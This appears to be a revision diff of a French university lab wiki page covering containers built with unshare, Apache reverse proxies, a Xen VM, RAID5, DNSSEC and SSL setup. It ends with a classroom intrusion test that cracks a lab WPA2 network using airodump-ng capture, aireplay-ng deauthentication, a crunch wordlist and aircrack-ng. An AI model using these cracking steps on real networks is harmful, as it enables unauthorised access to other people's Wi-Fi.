TP sysres IMA5sc 2018/2019 G5 : Différence entre versions

De Wiki d'activités IMA
(→‎TP Conteneur Reseau)
(→‎TP Systeme Reseau)
 
(48 révisions intermédiaires par 2 utilisateurs non affichées)
Ligne 26 : Ligne 26 :
 
Bootstrap d'un systeme Debian au sein de la partition montée
 
Bootstrap d'un systeme Debian au sein de la partition montée
 
  debootstrap --include=apache2,vim,nano  stable /tmp/fs1
 
  debootstrap --include=apache2,vim,nano  stable /tmp/fs1
 +
 +
Preparation du montage du systeme
 +
echo "proc /proc proc defaults 0 0" >> rootfs/etc/fstab
 +
 +
Unmount de la partition
 +
umount /tmp/fs1
 +
 +
(On remarque bien que la partition n'est plus montée via df -h)
 +
 +
Duplication de l'image deux fois, puis montage des trois systemes de fichier
 +
cp disc.img disc2.img
 +
cp disc.img disc3.img
 +
 +
mount -o loop disc.img /tmp/fs1
 +
mount -o loop disc2.img /tmp/fs2
 +
mount -o loop disc3.img /tmp/fs3
 +
 +
On verifie le resultat avec un autre df -h
 +
 +
[[Fichier:Dfh2.png]]
 +
 +
Demarrage des conteneurs en chargeant les systemes de fichier.
 +
unshare -n -u -p -f -m chroot /tmp/fs1 /bin/sh -c "mount /proc ; /bin/bash";
 +
# La commande unshare permet de couper la liaison d'un processus avec les differentes tables de nom
 +
# -n : table de nom reseau
 +
# -u : table des hostnames
 +
 +
Si la creation du conteneur fonctionne bien : on ne peut pas revenir dans le dossier parent en faisant la commande 'cd ..', et de plus la commande ps ne retourne le resultat suivant :
 +
 +
[[Fichier:Ps.png]]
 +
 +
On voit bien qu'il n'y a pas d'autre processus lancé, on se trouve donc bien dans le conteneur
 +
 +
En lancant donc les trois conteneurs, chacun est alors independant de l'autre, et l'on peut lancer la commande suivante pour voir "l'existence" des trois conteneurs
 +
ps aux | grep unshare
 +
 +
[[Fichier:Psaux.png]]
 +
 +
==== Mise en réseau des conteneurs ====
 +
Creation du bridge (commutateur virtuel) sur la machine hote
 +
ip link add bridge2 type bridge
 +
 +
Sur la machine hote, on crée également les différentes interfaces réseaux (une par conteneur + une pour le mandataire)
 +
ip link add vif1 type veth peer name eth0@vif1  #conteneur 1
 +
ip link add vif2 type veth peer name eth0@vif2  #conteneur 2
 +
ip link add vif3 type veth peer name eth0@vif3  #conteneur 3
 +
ip link add vif4 type veth peer name eth1@vif4  #mandataire
 +
 +
Ajout puis activation des differentes interfaces reseaux dans leur bridge respectif.
 +
ip link set vif1 master bridge2
 +
ip link set vif2 master bridge2
 +
ip link set vif3 master bridge2
 +
ip link set vif4 master bridge
 +
 +
ip link set vif1 up
 +
ip link set vif2 up
 +
ip link set vif3 up
 +
ip link set vif4 up
 +
 +
On recupere les PID des differents conteneurs
 +
ps aux | grep unshare
 +
[[Fichier:Grepunshare.png]]
 +
 +
 +
Il est necessaire "d'envoyer" les differentes interfaces reseaux a leur conteneur respectif
 +
ip link set eth0@vif1 netns /proc/[PID CONTENEUR 1]/ns/net name eth0 #conteneur 1
 +
ip link set eth0@vif2 netns /proc/[PID CONTENEUR 2]/ns/net name eth0 #conteneur 2
 +
ip link set eth0@vif3 netns /proc/[PID CONTENEUR 3]/ns/net name eth0 #conteneur 3
 +
 +
On ajoute ensuite les adresses IP a chaque conteneur
 +
 +
Dans le conteneur 1
 +
ip addr add 192.168.1.11/24 dev eth0
 +
ip link set eth0 up
 +
ip link set lo up
 +
 +
Dans le conteneur 2
 +
ip addr add 192.168.1.12/24 dev eth0
 +
ip link set eth0 up
 +
ip link set lo up
 +
 +
Dans le conteneur 3
 +
ip addr add 192.168.1.13/24 dev eth0
 +
ip link set eth0 up
 +
ip link set lo up
 +
 +
On peut donc alors parfaitement pinger les conteneurs entre eux ainsi qu'avec la machine hote
 +
 +
On ajoute egalement l'interface eth1 au conteneur 3 qui servira de mandataire
 +
 +
ip link set eth1@vif4 netns /proc/[PID CONTENEUR 3]/ns/net name eth1
 +
ip addr add 172.26.145.140/24 dev eth1
 +
ip link set eth1 up
 +
 +
 +
==== Mise en place des mandataires inverses ====
 +
 +
==TP Conteneur Reseau==
 +
 +
====Etapes de realisation des conteneurs (a la main)====
 +
Creation d'un fichier (utilisé en tant que partition) de 10240 bloc de 1024k octets (Soit un fichier de 10Go)
 +
dd if=/dev/zero of=disc.img bs=1024k count=10240
 +
 +
Creation d'un systeme d'un systeme de fichier linux au sein du fichier precedemment créé
 +
mkfs disc.img
 +
 +
Creation des dossiers temporaires dans lequel le systeme sera monté
 +
mkdir /tmp/fs1
 +
mkdir /tmp/fs2
 +
mkdir /tmp/fs3
 +
 +
Montage du systeme de fichier dans fs1
 +
mount -o loop disc.img /tmp/fs1
 +
 +
La commande df -Ath permet d'avoir la liste des partitions montés par le systeme
 +
 +
[[Fichier:Df_ath.png]]
 +
 +
On voit bien que le /tmp/fs0 propose un emplacement memoire de 10Go
 +
 +
Bootstrap d'un systeme Debian au sein de la partition montée
 +
debootstrap --include=apache2,vim,nano  stable /tmp/fs1
 +
 +
Preparation du montage du systeme
 +
echo "proc /proc proc defaults 0 0" >> rootfs/etc/fstab
  
 
Unmount de la partition
 
Unmount de la partition
Ligne 45 : Ligne 170 :
  
 
Demarrage des conteneurs en chargeant les systemes de fichier.  
 
Demarrage des conteneurs en chargeant les systemes de fichier.  
−
  unshare -n -u
+
  unshare -n -u -p -f -m chroot /tmp/fs1 /bin/sh -c "mount /proc ; /bin/bash";
 
  # La commande unshare permet de couper la liaison d'un processus avec les differentes tables de nom
 
  # La commande unshare permet de couper la liaison d'un processus avec les differentes tables de nom
 
  # -n : table de nom reseau
 
  # -n : table de nom reseau
 
  # -u : table des hostnames
 
  # -u : table des hostnames
 +
 +
Si la creation du conteneur fonctionne bien : on ne peut pas revenir dans le dossier parent en faisant la commande 'cd ..', et de plus la commande ps ne retourne le resultat suivant :
 +
 +
[[Fichier:Ps.png]]
 +
 +
On voit bien qu'il n'y a pas d'autre processus lancé, on se trouve donc bien dans le conteneur
 +
 +
En lancant donc les trois conteneurs, chacun est alors independant de l'autre, et l'on peut lancer la commande suivante pour voir "l'existence" des trois conteneurs
 +
ps aux | grep unshare
 +
 +
[[Fichier:Psaux.png]]
 +
 +
==== Mise en réseau des conteneurs ====
 +
Creation du bridge (commutateur virtuel) sur la machine hote
 +
ip link add bridge2 type bridge
 +
 +
Sur la machine hote, on crée également les différentes interfaces réseaux (une par conteneur + une pour le mandataire)
 +
ip link add vif1 type veth peer name eth0@vif1  #conteneur 1
 +
ip link add vif2 type veth peer name eth0@vif2  #conteneur 2
 +
ip link add vif3 type veth peer name eth0@vif3  #conteneur 3
 +
ip link add vif4 type veth peer name eth1@vif4  #mandataire
 +
 +
Ajout puis activation des differentes interfaces reseaux dans leur bridge respectif.
 +
ip link set vif1 master bridge2
 +
ip link set vif2 master bridge2
 +
ip link set vif3 master bridge2
 +
ip link set vif4 master bridge
 +
 +
ip link set vif1 up
 +
ip link set vif2 up
 +
ip link set vif3 up
 +
ip link set vif4 up
 +
 +
On recupere les PID des differents conteneurs
 +
ps aux | grep unshare
 +
[[Fichier:Grepunshare.png]]
 +
 +
 +
Il est necessaire "d'envoyer" les differentes interfaces reseaux a leur conteneur respectif
 +
ip link set eth0@vif1 netns /proc/[PID CONTENEUR 1]/ns/net name eth0 #conteneur 1
 +
ip link set eth0@vif2 netns /proc/[PID CONTENEUR 2]/ns/net name eth0 #conteneur 2
 +
ip link set eth0@vif3 netns /proc/[PID CONTENEUR 3]/ns/net name eth0 #conteneur 3
 +
 +
On ajoute ensuite les adresses IP a chaque conteneur
 +
 +
Dans le conteneur 1
 +
ip addr add 192.168.1.11/24 dev eth0
 +
ip link set eth0 up
 +
ip link set lo up
 +
 +
Dans le conteneur 2
 +
ip addr add 192.168.1.12/24 dev eth0
 +
ip link set eth0 up
 +
ip link set lo up
 +
 +
Dans le conteneur 3
 +
ip addr add 192.168.1.13/24 dev eth0
 +
ip link set eth0 up
 +
ip link set lo up
 +
 +
On peut donc alors parfaitement pinger les conteneurs entre eux ainsi qu'avec la machine hote
 +
 +
On ajoute egalement l'interface eth1 au conteneur 3 qui servira de mandataire
 +
 +
ip link set eth1@vif4 netns /proc/[PID CONTENEUR 3]/ns/net name eth1
 +
ip addr add 172.26.145.140/24 dev eth1
 +
ip link set eth1 up
 +
 +
 +
==== Mise en place des mandataires inverses ====
 +
 +
Configuration du fichier sites-enables/000-default.conf du mandataire inverse (conteneur 3)
 +
 +
<VirtualHost *:80>
 +
  ServerName azeroth.plil.space
 +
  ServerAdmin webmaster@mdelobel.plil.space
 +
  ProxyPass / http://192.168.1.11
 +
  ProxyPassRever / http://192.168.1.11
 +
  ProxyRequests Off
 +
  ErrorLog ${APACHE_LOG_DIR}/error.log
 +
  CustomLog ${APACHE_LOG_DIR}/access.log combined
 +
</VirtualHost>
 +
<VirtualHost *:80>
 +
  ServerName argus.plil.space
 +
  ServerAdmin webmaster@mdelobel.plil.space
 +
  ProxyPass / http://192.168.1.12
 +
  ProxyPassRever / http://192.168.1.12
 +
  ProxyRequests Off
 +
  ErrorLog ${APACHE_LOG_DIR}/error.log
 +
  CustomLog ${APACHE_LOG_DIR}/access.log combined
 +
</VirtualHost>
 +
 +
11h => Serveurs Web unshare OK (pb a du recommencer voir Ji)
 +
 +
12h20 => Serveurs Web docker OK
 +
 +
 +
== TP PRA Global ==
 +
 +
Cette partie a été realisée en binôme avec Ji YANG
 +
 +
=== Changement des cartes SD (Cordouan et Chassiron) ===
 +
 +
Changement du système de stockage pour les serveur Chassiron et Cordouan. L'objectif étant d'augmenter la taille des cartes SD servant au stockage du système afin de passer de carte 2Go a 16Go
 +
 +
 +
==== Etapes de réalisation ====
 +
 +
Nous nous attaquerons dans une premier temps au serveur Chassiron, qui n'est pas en utilisé activement pour les travaux en cours, cela permettra de bénéficier de plus de temps pour mettre en place les manipulations, afin d'aller plus vite sur le serveur Cordouan qui est necessaire au fonctionnement de certains systèmes
 +
 +
===== Extinction des machines et recup des cartes SD =====
 +
 +
Avant d'extraire une des cartes SD, il est necessaire d'éteindre correctement la machine. Cette simple commande fait l'affaire
 +
shutdown now
 +
 +
Cependant la commande shutdown prévoit une sauvegarde des processus en cours, la commande halt aurait pu eviter cette étape..
 +
 +
[[Fichier:PhotoChassiron.jpeg|800px]]
 +
 +
===== Copie des cartes SD =====
 +
 +
Nous recuperons une des deux cartes SD présentes sur Chassiron, puis la branchons sur un des ordinateurs portables (Flétan dans notre cas) afin de proceder à la copie des cartes. (On ne peut utiliser une Zabeth ni une Tutur, car elles ne disposent pas de lecteur de carte SD)
 +
 +
Une fois la carte branchée, on remarque en utilisant la commande ls /dev/ que 4 nouveaux fichiers sont apparus. Pour voir lesquels, cela est très facile :
 +
 +
ls /dev/ > tmp
 +
##BRANCHER LA CARTE SD
 +
ls /dev/ > tmp2
 +
diff tmp tmp2
 +
 +
On voit alors le nom des trois fichiers. Grace à la commande suivante, on peut determineur leur contenu, et le type de fichier
 +
fdisk -l /dev/mmcblk0*
 +
 +
/// INSERER PHOTO
 +
 +
On voit que le fichier mmcblk0 contient 3 partitions, une de type Linux, une Extended, ainsi qu'une Linux Swap. Etant donné qu'il s'agit du type respectif des trois autres fichiers.. on en déduit que la partition mmcblk0 contient en réalité mmcblk0p1, p2 et p5
 +
 +
 +
Il ne suffit donc de dupliquer le contenu de mmcblk0 vers l'autre carte, car il contient l'intégralité des données de la carte. Pour se faire, on duplique les données vers un fichier temporaire, que l'on re-dupliquera vers la plus grande carte SD
 +
dd if=/dev/mmcblk0 of=/home/pifou/TMP_SAVESDCARD1_CHASSIRON/data.bin
 +
### CHANGEMENT DE CARTE
 +
dd if=/home/pifou/TMP_SAVESDCARD1_CHASSIRON/data.bin of=/dev/mmcblk0
 +
 +
On peut vérifier la bonne duplication du système en reefectuant la commande 'ls /dev/' et en voyant que les partitions mmcblk0p1, p2 et p5 ont été créées.
 +
 +
On peut également monter le système pour vérifier son intégrité.
 +
mkdir /tmp/u1
 +
mount /dev/mmcblk0p1 /tmp/u1
 +
cd /tmp/u1
 +
 +
Si tout se passe bien, on peut parfaitement naviguer dans le système Linux de Chassiron
 +
 +
===== Augmentation de la taille des partitions =====
 +
 +
Afin d'utiliser pleinement les cartes SD et toute leur capacité, il est necessaire d'augmenter la taille des partitions (qui est encore à 2Go à cette étape), afin de pouvoir ensuite augmenter la tailler du système de fichier.
 +
 +
Pour se faire il faut tout d'abord démonter la carte.
 +
umount /tmp/u1
 +
 +
Puis on peut lancer l'utilitaire "parted" afin de modifier les partitions en ligne de commande. On utilise alors la suite de commande suivante
 +
 +
=== Tests d'intrusion ===
 +
select /dev/mmcblk0
 +
print
 +
 +
//INSERER PHOTO
 +
 +
Comme on peut le voir, si l'on souhaite augmenter la taille de la partition du système linux (aka. changer l'indice de fin de la partition) il faut tout d'abord supprimer les partitions de swap.
 +
Pour se faire
 +
 +
rm 2  #identifiant obtenu avec la commande print
 +
rm 5
 +
 +
resizepart 1  #Augmente la taille de la partition "1" (celle du système)
 +
15000
 +
//PHOTO
 +
 +
Une fois cela fait, on recrée les partitions necessaires au swap
 +
 +
mkpart extended 15001 15134  #Creation de l'extented apres la partition du Linux
 +
mkpart logical linux-swap(v1) 15001 15134
 +
 +
On peut ensuite regenerer le fichier avec la commande dd 
 +
 +
Une fois la taille de la partition augmentée, on peut desormais augmenter la taille du système de fichier Linux. Pour se faire, on lance les commandes suivantes :
 +
e2fsck -f /dev/mmcblk0p1
 +
resize2fs /dev/mmcblk0p1
 +
 +
Cela redimensionnera automatiquement le système de fichier afin qu'il prenne la taille maximale de la partition
 +
 +
=== Creation VM Xen ===
 +
==== Creation de l'image ====
 +
Une fois le serveur Cordouan redémarré, on s'y connecte en SSH ( cordouan.insecserv.deule.net ), puis on y cree l'image Xen qui nous servira de VM. Le thème choisi étant les déités grecques.. notre VM s'appellera 'Chronos'
 +
 +
xen-create-image --hostname=Chronos --ip=193.48.57.181 --netmask=255.255.255.240 --gateway=193.48.57.176 --dir=/usr/local/xen
 +
 +
Du fait que nous n'avons pas préciser l'option --password, un mdp a été généré automatiquement, il est lisible dans les logs, accessibles grâce à :
 +
cat /var/log/xen-tools/Chronos.log
 +
 +
On peut ensuite lancer la commande
 +
xl create /etc/xen/Chronos.cfg
 +
 +
On peut vérifier le bon fonctionnement grâce à la commande
 +
xl list
 +
[[Fichier:Xllisrt.png]]
 +
 +
 +
On voit donc bien l'image Xen 'Chronos' qui est lancée, on peut donc s'y connecter :
 +
xl console Chronos
 +
 +
Pour plus de praticité, on va changer le mot de passe, en utilisant celui habituel de root avec la commande passwd
 +
 +
==== Activation SSH ====
 +
 +
On autorise l'utilisation du SSH en tant que root, pour se faire on modifie le fichier de config /etc/ssh/sshd_config, en éditant la commande PermitRootLogin
 +
PermitRootLogin yes
 +
 +
On pense a redemarrer le service ssh
 +
service ssh stop
 +
service ssh start
 +
 +
==== Ajout des partitions logiciels ====
 +
===== Extention des volumes du /home et /var =====
 +
Notre VM est hebergé par le serveur Cordouan sur un seul volume de 10Go. Pour la suite du TP, notre VM aura besoin de plus d'espace, nous créons donc 2 partitions logicielles sur Cordouan, de 10Go chacune que l'on reservera au /home et au /var
 +
 +
lvcreate -L10G -n chronos-home virtual
 +
lvcreate -L10G -n chronos-var virtual
 +
 +
Une fois les partitions créées, il faut les raccorder à la machine Xen, pour se faire on modifie le fichier de config Chronos.cfg
 +
root        = '/dev/xvda2 ro'
 +
disk        = [
 +
                  'file:/usr/local/xen/domains/Chronos/disk.img,xvda2,w',
 +
                  'file:/usr/local/xen/domains/Chronos/swap.img,xvda1,w',
 +
'phy:/dev/virtual/chronos-home,xvdb1,w',
 +
'phy:/dev/virtual/chronos-var,xvdc1,w',
 +
 +
Une fois Chronos redemarré, on créé un système de fichier dans les partitions de 10Go recemment importée.
 +
 +
mkfs -t ext4 /dev/xvdb1
 +
mkfs -t ext4 /dev/xvdc1
 +
 +
On peut alors monter ses partitions dans le /home et dans le /var
 +
 +
mount /dev/xvdb1 /home  #Pas de probleme, car le /home est vide
 +
 +
mkdir /vtmp
 +
mount /dev/xvdc1 /vtmp
 +
cp -R /var/* /vtmp/
 +
umount /vtmp
 +
mount /dev/xvdc1 /var
 +
 +
Afin que cette configuration soit conservée et lancée au changement, on modifie le fichier /etc/fstab
 +
# /etc/fstab: static file system information.
 +
#
 +
# <file system> <mount point>  <type>  <options>      <dump>  <pass>
 +
proc            /proc          proc    defaults        0      0
 +
devpts          /dev/pts        devpts  rw,noexec,nosuid,gid=5,mode=620 0  0
 +
/dev/xvda1 none swap sw 0 0
 +
/dev/xvda2 / ext4 noatime,nodiratime,errors=remount-ro 0 1
 +
/dev/xvdb1 /home ext4 defaults 0 2
 +
/dev/xvdc1 /var ext4 defaults 0 2
 +
 +
 +
===== Creation du RAID5 =====
 +
Afin de crée le RAID5, il est necessaire d'installer le paquet mdadm
 +
apt-get install mdadm
 +
 +
On reproduit la manipulation precedente afin de crée trois partitions de 1Go
 +
lvcreate -L1G -n khronos-part1 virtual
 +
lvcreate -L1G -n khronos-part2 virtual
 +
lvcreate -L1G -n khronos-part3 virtual
 +
 +
et ajout dans le Chronos.cfg
 +
'phy:/dev/virtual/khronos-part1,xvdd1,w',
 +
'phy:/dev/virtual/khronos-part2,xvde1,w',
 +
'phy:/dev/virtual/khronos-part3,xvdf1,w'
 +
 +
Apres redemarrage de la machine, les 3 partitions sont chargées, il est donc possible de créer un RAID logiciel via la commande :
 +
mkdir /raid
 +
mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd1 /dev/xvde1 /dev/xvdef1
 +
mkfs -t ext4 /dev/md0
 +
 +
On rajoute donc le RAID5 dans le /etc/fstab
 +
/dev/md0 /raid ext4 defaults 0 2
 +
 +
On peut donc vérifier le bon fonctionnement du systeme avec la commande lsblk
 +
 +
[[Fichier:Lsblk.png]]
 +
 +
==== Configuration de bind9 ====
 +
 +
Bind est un paquet permettant la mise en place d'un DNS sur la machine, on l'installe donc au côté d'apache pour la suite du TP
 +
 +
apt-get install bind9 apache2
 +
 +
Bind vient avec tout un packetage de fichier de configuration à modifier permettant le bon fonctionnement du systeme. Afin de configurer notre propre DNS, nous allons créer le fichier /etc/bind/dns.khronos.site dans lequel nous écrirons notre onfig
 +
$TTL 604800
 +
  @ IN SOA dns.khronos.site. root.khronos.site. (
 +
12 ; Serial
 +
    43200 ; Refresh
 +
      1800 ; Retry
 +
  1814400 ; Expire
 +
      604800 ) ; Negative Cache TTL
 +
;
 +
IN NS dns.khronos.site.
 +
IN NS ns6.gandi.net.
 +
dns IN A 193.48.57.181
 +
www IN A 193.48.57.181
 +
@ IN A 193.48.57.181
 +
 +
Il est important de faire attention à ce fichier, qui peut être source de nombreuses erreurs :
 +
- Il est primordial d'avoir un '.' a la fin des adresses dns
 +
- A chaque modification du fichier il faut incrémenter l'indice Serial
 +
- Ne pas oublier les 3 champs, dont le champ @
 +
- Avoir des valeurs cohérentes pour les délais
 +
 +
===== Configuration de DNSSEC =====
 +
DNSSEC permet de SECuriser les echanges DNS, pour se faire nous allons signer notre fichier de config DNS. Pour y parvenir, nous allons généré un couple de clés (KSK et ZSK)
 +
 +
mkdir khronos.site.dnssec
 +
cd khronos.site.dnssec
 +
dnssec-keygen -f KSK -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE khronos.site
 +
dnssec-keygen -a RSASHA1 -b 1024 -n -r /dev/urandom ZONE khronos.site
 +
 +
Pour plus de faciliter on renomme les clés générées
 +
mv Kkhronos.site.+005+52087.key khronos.site.ksk.key
 +
mv Kkhronos.site.+005+52087.private khronos.site.ksk.private
 +
mv Kkhronos.site.+005+49746.key khronos.site.zsk.key
 +
mv Kkhronos.site.+005+49746.private khronos.site.zsk.private
 +
 +
On inclue donc ces clés dans le fichiers dns.khronos.site
 +
$include /etc/bind/khronos.site.dnssec/khronos.site.ksk.key
 +
$include /etc/bind/khronos.site.dnssec/khronos.site.zsk.key
 +
 +
Et on peut finalement signer le fichier dns.khronos.site avec les clés (a lancé depuis le dossier /etc/bind/)
 +
dnssec-signzone -o khronos.site -k khronos.site.dnssec/khronos.site.ksk.key dns.khronos.site khronos.site.dnssec/khronos.site.zsk.key
 +
 +
===== Config des named.conf =====
 +
 +
Une fois le fichier /etc/bind/dns.khronos.site.signed généré, on peut donc modifier le fichier /etc/bind/named.conf.local
 +
  zone "khronos.site" {
 +
type master;
 +
file "/etc/bind/dns.khronos.site.signed";
 +
allow-transfer { 217.70.177.40;};
 +
};
 +
 +
L'adresse IP dans le allow-transfer est obtenue en prennant l'adresse de ns6.gandi.net
 +
 +
[[Fichier:Ns6.png]]
 +
 +
et on ajoute les commandes suivantes dans le named.conf.options afin de confirmer l'utilisation de dnssec
 +
dnssec-validation auto;
 +
dnssec-enable yes;
 +
 +
===== Ajout de la clé KSK dans Gandi =====
 +
 +
Sur l'interface WEB de Gandi, il est possible d'envoyer notre clé KSK, pour se faire on donne à Gandi la partie surlignée du screen suivant
 +
 +
[[Fichier:Ksk.png]]
 +
 +
Il faut bien évidemment mettre les configs correspondantes a format de la clé..
 +
 +
 +
===== Verification du DNSSEC avec DNSVIZ =====
 +
Le site [dnsviz.net] permet de vérifier l'état de marche de notre DNSSEC
 +
 +
[[Fichier:Dnsviz_p5.png]]
 +
 +
Et selon lui, tout est okay !
 +
 +
==== Certificat SSL et sécurisation d'Apache ====
 +
===== Obtention du certificat =====
 +
Nous commençons par un générer deux fichiers grâce à la commande
 +
openssl req -nodes -newkey rsa:2048 -sha1 -keyout khronos.site.key -out khronos.site.csr
 +
 +
* khronos.site.csr : il s'agit d'un fichier servant à faire une demande de certificat auprès de Gandi. Il contient quelques informations personnelles ainsi que la cl" publique.
 +
* khronos.site.key : c'est la clé
 +
 +
On peut envoyer le fichier .csr à Gandi afin d'obtenir notre certificat SSL. Pour se faire on choisi le mode de validation par fichier
 +
Pour obtenir validation, il faut créer le fichier /var/www/html/.well-known/pki-validation/B726A2F14B337F7C0B53A107F0930FF2.txt et y mettre le contenu exigé par Gandi
 +
(Attention dans le formatage de Gandi les retours chariots sont écris avec des \n, il est necessaire de bien les remplacer..)
 +
 +
On peut donc telecharger notre certificat SSL une fois qu'il a été validé. Une fois obtenu, on le deplace dans les dossiers correspondants
 +
/etc/ssl/certs/khronos.site.crt                                                                     
 +
/etc/ssl/private/khronos.site.key                                                               
 +
/etc/ssl/certs/GandiStandardSSLCA2.pem
 +
 +
===== Securisation d'Apache =====
 +
 +
Il est nécessaire d'activer le module SSL d'Apache, cela se fait grâce à la commande suivante
 +
a2enmod ssl
 +
 +
Une fois cela fait, on peut donc modifier le fichier de config d'apache /etc/apache2/sites-enabled/000-default.conf
 +
<VirtualHost *:80>
 +
ServerName www.khronos.site
 +
Redirect / https://www.khronos.site        #Tout appel sur le port 80 (http) redirigera vers le https a savoir le 443
 +
DocumentRoot /var/www/html
 +
</VirtualHost>
 +
 +
<VirtualHost *:443>
 +
ServerName www.khronos.site
 +
DocumentRoot /var/www/html
 +
SSLEngine on
 +
SSLCertificateFile /etc/ssl/certs/khronos.site.crt
 +
SSLCertificateKeyFile /etc/ssl/private/khronos.site.key
 +
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
 +
SSLVerifyClient None
 +
</VirtualHost>
 +
 +
Une fois la modifications effectuées, on redemarre le service apache2
 +
service apache2 restart
 +
 +
Et une fois que Gandi a réalisé sa propagation, il est possible d'obtenir un connexion https sécurisée sur khronos.site
 +
 +
[[Fichier:Sslkhronos.png]]
 +
 +
=== Tests d'intrusion ===
 +
 +
==== Crakage de clé de WPA ====
 +
 +
premièrement, nous regardons le nom de l'interface du wifi:
 +
 +
ip a
 +
 +
Et nous trouvons son nom est 'wlx40a5ef0f68ce':
 +
8: wlx40a5ef0f68ce: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
 +
    link/ether 40:a5:ef:0f:68:ce brd ff:ff:ff:ff:ff:ff
 +
 +
Nous changons le mode de wifi à 'monitor' avec airmon-ng:
 +
root@tutur01:/home/pifou# airmon-ng start wlx40a5ef0f68ce
 +
 +
Found 4 processes that could cause trouble.
 +
If airodump-ng, aireplay-ng or airtun-ng stops working after
 +
a short period of time, you may want to run 'airmon-ng check kill'
 +
 +
  PID Name
 +
  1426 dhclient
 +
  2427 avahi-daemon
 +
  2439 avahi-daemon
 +
  3206 dhclient
 +
 +
PHY Interface Driver Chipset
 +
 +
phy0 wlx40a5ef0f68ce rt2800usb Ralink Technology, Corp. RT5370
 +
Interface 15mon is too long for linux so it will be renamed to the old style (wlan#) name.
 +
  (mac80211 monitor mode vif enabled on [phy0]wlan0mon
 +
  (mac80211 station mode vif disabled for [phy0]wlx40a5ef0f68ce)
 +
 +
Trouver le bssid de cracotte05 et son channel
 +
airodump-ng wlan0mon
 +
 +
Nous trouvons que le bssid de cracotte05 est 04:DA:D2:9C:50:54, son channel est 9
 +
 +
Nous surveillons ce bssid et enregistrons les packages:
 +
airodump-ng -c 9 --bssid 04:DA:d2:9C:50:54 -w psk wlan0mon
 +
 +
Nous trouvons que le wifi est lié avec un apparail dont bssid est 04:DA:d2:9C:50:54
 +
 +
BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key
 +
04:DA:D2:9C:50:54, 2018-12-17 13:34:41, 2018-12-17 13:36:24,  9,  54, WPA2 WPA, CCMP TKIP,PSK, -36,      900,      126,  0.  0.  0.  0,  10, cracotte05,
 +
 +
Station MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs
 +
40:A5:EF:0F:65:18, 2018-12-17 13:34:46, 2018-12-17 13:36:03, -46,      89, 04:DA:D2:9C:50:54,
 +
 +
 +
 +
Nous attaquons le wifi:
 +
aireplay-ng -a 04:DA:D2:9C:50:54 -c 40:A5:EF:0F:65:18 wlan0mon
 +
 +
Quand nous trouve que dans le terminal de airodump-ng apparait le 'handshake' à la première line, nous l'arrètons.
 +
 +
Nous utilison crunch à créer une liste de mot de passe:
 +
crunch 8 8 0123456789 -o password.lst
 +
 +
Nous utilison le aircrack-ng à le craquer.
 +
aircrack-ng psk*.cap

Version actuelle datée du 17 décembre 2018 à 18:32

TP Systeme Reseau

Vous trouverez sur cette page Wiki tous les travaux relatifs au cours de Systeme Reseau réalisés par Delobelle Matthieu

TP Conteneur Reseau

Etapes de realisation des conteneurs (a la main)

Creation d'un fichier (utilisé en tant que partition) de 10240 bloc de 1024k octets (Soit un fichier de 10Go) 

dd if=/dev/zero of=disc.img bs=1024k count=10240

Creation d'un systeme d'un systeme de fichier linux au sein du fichier precedemment créé 

mkfs disc.img

Creation des dossiers temporaires dans lequel le systeme sera monté 

mkdir /tmp/fs1
mkdir /tmp/fs2
mkdir /tmp/fs3

Montage du systeme de fichier dans fs1 

mount -o loop disc.img /tmp/fs1

La commande df -Ath permet d'avoir la liste des partitions montés par le systeme

Df ath.png

On voit bien que le /tmp/fs0 propose un emplacement memoire de 10Go

Bootstrap d'un systeme Debian au sein de la partition montée 

debootstrap --include=apache2,vim,nano  stable /tmp/fs1

Preparation du montage du systeme 

echo "proc /proc proc defaults 0 0" >> rootfs/etc/fstab

Unmount de la partition 

umount /tmp/fs1

(On remarque bien que la partition n'est plus montée via df -h)

Duplication de l'image deux fois, puis montage des trois systemes de fichier 

cp disc.img disc2.img
cp disc.img disc3.img

mount -o loop disc.img /tmp/fs1
mount -o loop disc2.img /tmp/fs2
mount -o loop disc3.img /tmp/fs3

On verifie le resultat avec un autre df -h

Dfh2.png

Demarrage des conteneurs en chargeant les systemes de fichier. 

unshare -n -u -p -f -m chroot /tmp/fs1 /bin/sh -c "mount /proc ; /bin/bash";
# La commande unshare permet de couper la liaison d'un processus avec les differentes tables de nom
# -n : table de nom reseau
# -u : table des hostnames

Si la creation du conteneur fonctionne bien : on ne peut pas revenir dans le dossier parent en faisant la commande 'cd ..', et de plus la commande ps ne retourne le resultat suivant :

Ps.png

On voit bien qu'il n'y a pas d'autre processus lancé, on se trouve donc bien dans le conteneur

En lancant donc les trois conteneurs, chacun est alors independant de l'autre, et l'on peut lancer la commande suivante pour voir "l'existence" des trois conteneurs 

ps aux | grep unshare

Psaux.png

Mise en réseau des conteneurs

Creation du bridge (commutateur virtuel) sur la machine hote 

ip link add bridge2 type bridge

Sur la machine hote, on crée également les différentes interfaces réseaux (une par conteneur + une pour le mandataire) 

ip link add vif1 type veth peer name eth0@vif1   #conteneur 1
ip link add vif2 type veth peer name eth0@vif2   #conteneur 2
ip link add vif3 type veth peer name eth0@vif3   #conteneur 3
ip link add vif4 type veth peer name eth1@vif4   #mandataire

Ajout puis activation des differentes interfaces reseaux dans leur bridge respectif. 

ip link set vif1 master bridge2
ip link set vif2 master bridge2
ip link set vif3 master bridge2
ip link set vif4 master bridge

ip link set vif1 up
ip link set vif2 up
ip link set vif3 up
ip link set vif4 up

On recupere les PID des differents conteneurs 

ps aux | grep unshare

Grepunshare.png


Il est necessaire "d'envoyer" les differentes interfaces reseaux a leur conteneur respectif 

ip link set eth0@vif1 netns /proc/[PID CONTENEUR 1]/ns/net name eth0 #conteneur 1
ip link set eth0@vif2 netns /proc/[PID CONTENEUR 2]/ns/net name eth0 #conteneur 2
ip link set eth0@vif3 netns /proc/[PID CONTENEUR 3]/ns/net name eth0 #conteneur 3

On ajoute ensuite les adresses IP a chaque conteneur

Dans le conteneur 1 

ip addr add 192.168.1.11/24 dev eth0
ip link set eth0 up
ip link set lo up

Dans le conteneur 2 

ip addr add 192.168.1.12/24 dev eth0
ip link set eth0 up
ip link set lo up

Dans le conteneur 3 

ip addr add 192.168.1.13/24 dev eth0
ip link set eth0 up
ip link set lo up

